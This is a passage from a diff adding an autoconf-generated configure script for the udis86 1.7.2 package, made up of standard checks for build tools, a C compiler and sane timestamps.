$ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_OBJDUMP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_OBJDUMP"; then + ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OBJDUMP="objdump" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP +if test -n "$ac_ct_OBJDUMP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5 +$as_echo "$ac_ct_OBJDUMP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_OBJDUMP" = x; then + OBJDUMP="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OBJDUMP=$ac_ct_OBJDUMP + fi +else + OBJDUMP="$ac_cv_prog_OBJDUMP" +fi + + ;; +esac + +test -z "$AS" && AS=as + + + + + +test -z "$DLLTOOL" && DLLTOOL=dlltool + + + + + +test -z "$OBJDUMP" && OBJDUMP=objdump + + + + + + + + ;; +esac + +# Initialize the automake subsystem. +am__api_version='1.13' + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +# Reject install programs that cannot install multiple files. +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for a BSD-compatible install" >&5 +$as_echo_n "checking for a BSD-compatible install... " >&6; } +if test -z "$INSTALL"; then +if ${ac_cv_path_install+:} false; then : + $as_echo_n "(cached) " >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + # Account for people who put trailing slashes in PATH elements. +case $as_dir/ in #(( + ./ | .// | /[cC]/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:[\\/]os2[\\/]install[\\/]* | ?:[\\/]OS2[\\/]INSTALL[\\/]* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then + if test $ac_prog = install && + grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + rm -rf conftest.one conftest.two conftest.dir + echo one > conftest.one + echo two > conftest.two + mkdir conftest.dir + if "$as_dir/$ac_prog$ac_exec_ext" -c conftest.one conftest.two "`pwd`/conftest.dir" && + test -s conftest.one && test -s conftest.two && + test -s conftest.dir/conftest.one && + test -s conftest.dir/conftest.two + then + ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + fi + done + done + ;; +esac + + done +IFS=$as_save_IFS + +rm -rf conftest.one conftest.two conftest.dir + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. Don't cache a + # value for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + INSTALL=$ac_install_sh + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $INSTALL" >&5 +$as_echo "$INSTALL" >&6; } + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether build environment is sane" >&5 +$as_echo_n "checking whether build environment is sane... " >&6; } +# Reject unsafe characters in $srcdir or the absolute working directory +# name. Accept space and tab only in the latter. +am_lf=' +' +case `pwd` in + *[\\\"\#\$\&\'\`$am_lf]*) + as_fn_error $? "unsafe absolute working directory name" "$LINENO" 5;; +esac +case $srcdir in + *[\\\"\#\$\&\'\`$am_lf\ \ ]*) + as_fn_error $? "unsafe srcdir value: '$srcdir'" "$LINENO" 5;; +esac + +# Do 'set' in a subshell so we don't clobber the current shell's +# arguments. Must try -L first in case configure is actually a +# symlink; some systems play weird games with the mod time of symlinks +# (eg FreeBSD returns the mod time of the symlink's containing +# directory). +if ( + am_has_slept=no + for am_try in 1 2; do + echo "timestamp, slept: $am_has_slept" > conftest.file + set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` + if test "$*" = "X"; then + # -L didn't work. + set X `ls -t "$srcdir/configure" conftest.file` + fi + if test "$*" != "X $srcdir/configure conftest.file" \ + && test "$*" != "X conftest.file $srcdir/configure"; then + + # If neither matched, then we have a broken ls. This can happen + # if, for instance, CONFIG_SHELL is bash and it inherits a + # broken ls alias from the environment. This has actually + # happened. Such a system could not be considered "sane". + as_fn_error $? "ls -t appears to fail. Make sure there is not a broken + alias in your environment" "$LINENO" 5 + fi + if test "$2" = conftest.file || test $am_try -eq 2; then + break + fi + # Just in case. + sleep 1 + am_has_slept=yes + done + test "$2" = conftest.file + ) +then + # Ok. + : +else + as_fn_error $? "newly created file is older than distributed files! +Check your system clock" "$LINENO" 5 +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } +# If we didn't sleep, we still need to ensure time stamps of config.status and +# generated files are strictly newer. +am_sleep_pid= +if grep 'slept: no' conftest.file >/dev/null 2>&1; then + ( sleep 1 ) & + am_sleep_pid=$! +fi + +rm -f conftest.file + +test "$program_prefix" != NONE && + program_transform_name="s&^&$program_prefix&;$program_transform_name" +# Use a double $ so make ignores it. +test "$program_suffix" != NONE && + program_transform_name="s&\$&$program_suffix&;$program_transform_name" +# Double any \ or $. +# By default was `s,x,x', remove it if useless. +ac_script='s/[\\$]/&&/g;s/;s,x,x,$//' +program_transform_name=`$as_echo "$program_transform_name" | sed "$ac_script"` + +# expand $ac_aux_dir to an absolute path +am_aux_dir=`cd $ac_aux_dir && pwd` + +if test x"${MISSING+set}" != xset; then + case $am_aux_dir in + *\ * | *\ *) + MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;; + *) + MISSING="\${SHELL} $am_aux_dir/missing" ;; + esac +fi +# Use eval to expand $SHELL +if eval "$MISSING --is-lightweight"; then + am_missing_run="$MISSING " +else + am_missing_run= + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: 'missing' script is too old or missing" >&5 +$as_echo "$as_me: WARNING: 'missing' script is too old or missing" >&2;} +fi + +if test x"${install_sh}" != xset; then + case $am_aux_dir in + *\ * | *\ *) + install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; + *) + install_sh="\${SHELL} $am_aux_dir/install-sh" + esac +fi + +# Installed binaries are usually stripped using 'strip' when the user +# run "make install-strip". However 'strip' might not be the right +# tool to use in cross-compilation environments, therefore Automake +# will honor the 'STRIP' environment variable to overrule this program. +if test "$cross_compiling" != no; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_STRIP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_STRIP="${ac_tool_prefix}strip" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 +$as_echo "$STRIP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_STRIP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_STRIP="strip" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 +$as_echo "$ac_ct_STRIP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_STRIP" = x; then + STRIP=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + STRIP=$ac_ct_STRIP + fi +else + STRIP="$ac_cv_prog_STRIP" +fi + +fi +INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for a thread-safe mkdir -p" >&5 +$as_echo_n "checking for a thread-safe mkdir -p... " >&6; } +if test -z "$MKDIR_P"; then + if ${ac_cv_path_mkdir+:} false; then : + $as_echo_n "(cached) " >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/opt/sfw/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in mkdir gmkdir; do + for ac_exec_ext in '' $ac_executable_extensions; do + as_fn_executable_p "$as_dir/$ac_prog$ac_exec_ext" || continue + case `"$as_dir/$ac_prog$ac_exec_ext" --version 2>&1` in #( + 'mkdir (GNU coreutils) '* | \ + 'mkdir (coreutils) '* | \ + 'mkdir (fileutils) '4.1*) + ac_cv_path_mkdir=$as_dir/$ac_prog$ac_exec_ext + break 3;; + esac + done + done + done +IFS=$as_save_IFS + +fi + + test -d ./--version && rmdir ./--version + if test "${ac_cv_path_mkdir+set}" = set; then + MKDIR_P="$ac_cv_path_mkdir -p" + else + # As a last resort, use the slow shell script. Don't cache a + # value for MKDIR_P within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + MKDIR_P="$ac_install_sh -d" + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $MKDIR_P" >&5 +$as_echo "$MKDIR_P" >&6; } + +for ac_prog in gawk mawk nawk awk +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_AWK+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$AWK"; then + ac_cv_prog_AWK="$AWK" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_AWK="$ac_prog" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +AWK=$ac_cv_prog_AWK +if test -n "$AWK"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AWK" >&5 +$as_echo "$AWK" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$AWK" && break +done + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} sets \$(MAKE)" >&5 +$as_echo_n "checking whether ${MAKE-make} sets \$(MAKE)... " >&6; } +set x ${MAKE-make} +ac_make=`$as_echo "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` +if eval \${ac_cv_prog_make_${ac_make}_set+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat >conftest.make <<\_ACEOF +SHELL = /bin/sh +all: + @echo '@@@%%%=$(MAKE)=@@@%%%' +_ACEOF +# GNU make sometimes prints "make[1]: Entering ...", which would confuse us. +case `${MAKE-make} -f conftest.make 2>/dev/null` in + *@@@%%%=?*=@@@%%%*) + eval ac_cv_prog_make_${ac_make}_set=yes;; + *) + eval ac_cv_prog_make_${ac_make}_set=no;; +esac +rm -f conftest.make +fi +if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } + SET_MAKE= +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + SET_MAKE="MAKE=${MAKE-make}" +fi + +rm -rf .tst 2>/dev/null +mkdir .tst 2>/dev/null +if test -d .tst; then + am__leading_dot=. +else + am__leading_dot=_ +fi +rmdir .tst 2>/dev/null + +# Check whether --enable-silent-rules was given. +if test "${enable_silent_rules+set}" = set; then : + enableval=$enable_silent_rules; +fi + +case $enable_silent_rules in # ((( + yes) AM_DEFAULT_VERBOSITY=0;; + no) AM_DEFAULT_VERBOSITY=1;; + *) AM_DEFAULT_VERBOSITY=1;; +esac +am_make=${MAKE-make} +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $am_make supports nested variables" >&5 +$as_echo_n "checking whether $am_make supports nested variables... " >&6; } +if ${am_cv_make_support_nested_variables+:} false; then : + $as_echo_n "(cached) " >&6 +else + if $as_echo 'TRUE=$(BAR$(V)) +BAR0=false +BAR1=true +V=1 +am__doit: + @$(TRUE) +.PHONY: am__doit' | $am_make -f - >/dev/null 2>&1; then + am_cv_make_support_nested_variables=yes +else + am_cv_make_support_nested_variables=no +fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_make_support_nested_variables" >&5 +$as_echo "$am_cv_make_support_nested_variables" >&6; } +if test $am_cv_make_support_nested_variables = yes; then + AM_V='$(V)' + AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)' +else + AM_V=$AM_DEFAULT_VERBOSITY + AM_DEFAULT_V=$AM_DEFAULT_VERBOSITY +fi +AM_BACKSLASH='\' + +if test "`cd $srcdir && pwd`" != "`pwd`"; then + # Use -I$(srcdir) only when $(srcdir) != ., so that make's output + # is not polluted with repeated "-I." + am__isrc=' -I$(srcdir)' + # test to see if srcdir already configured + if test -f $srcdir/config.status; then + as_fn_error $? "source directory already configured; run \"make distclean\" there first" "$LINENO" 5 + fi +fi + +# test whether we have cygpath +if test -z "$CYGPATH_W"; then + if (cygpath --version) >/dev/null 2>/dev/null; then + CYGPATH_W='cygpath -w' + else + CYGPATH_W=echo + fi +fi + + +# Define the identity of the package. + PACKAGE='udis86' + VERSION='1.7.2' + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE "$PACKAGE" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define VERSION "$VERSION" +_ACEOF + +# Some tools Automake needs. + +ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} + + +AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} + + +AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} + + +AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} + + +MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} + +# For better backward compatibility. To be removed once Automake 1.9.x +# dies out for good. For more background, see: +# +# +mkdir_p='$(MKDIR_P)' + +# We need awk for the "check" target. The system "awk" is bad on +# some platforms. +# Always define AMTAR for backward compatibility. Yes, it's still used +# in the wild :-( We should find a proper way to deprecate it ... +AMTAR='$${TAR-tar}' + +am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -' + + + + + + +# +# In case we have a Windows build, we pass a +# TARGET_WINDOWS conditional to automake. +# + if test "$TARGET_OS" = windows; then + TARGET_WINDOWS_TRUE= + TARGET_WINDOWS_FALSE='#' +else + TARGET_WINDOWS_TRUE='#' + TARGET_WINDOWS_FALSE= +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_CC+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_CC+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="gcc" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +$as_echo "$ac_ct_CC" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_CC+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_CC+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_CC+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +$as_echo "$CC" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_CC+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="$ac_prog" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +$as_echo "$ac_ct_CC" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi + + +test -z "$CC" && { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "no acceptable C compiler found in \$PATH +See \`config.log' for more details" "$LINENO" 5; } + +# Provide some information about the compiler. +$as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 +set X $ac_compile +ac_compiler=$2 +for ac_option in --version -v -V -qversion; do + { { ac_try="$ac_compiler $ac_option >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_compiler $ac_option >&5") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + sed '10a\ +... rest of stderr output deleted ... + 10q' conftest.err >conftest.er1 + cat conftest.er1 >&5 + fi + rm -f conftest.er1 conftest.err + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +done + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler works" >&5 +$as_echo_n "checking whether the C compiler works... " >&6; } +ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` + +# The possible output files: +ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" + +ac_rmfiles= +for ac_file in $ac_files +do + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; + * ) ac_rmfiles="$ac_rmfiles $ac_file";; + 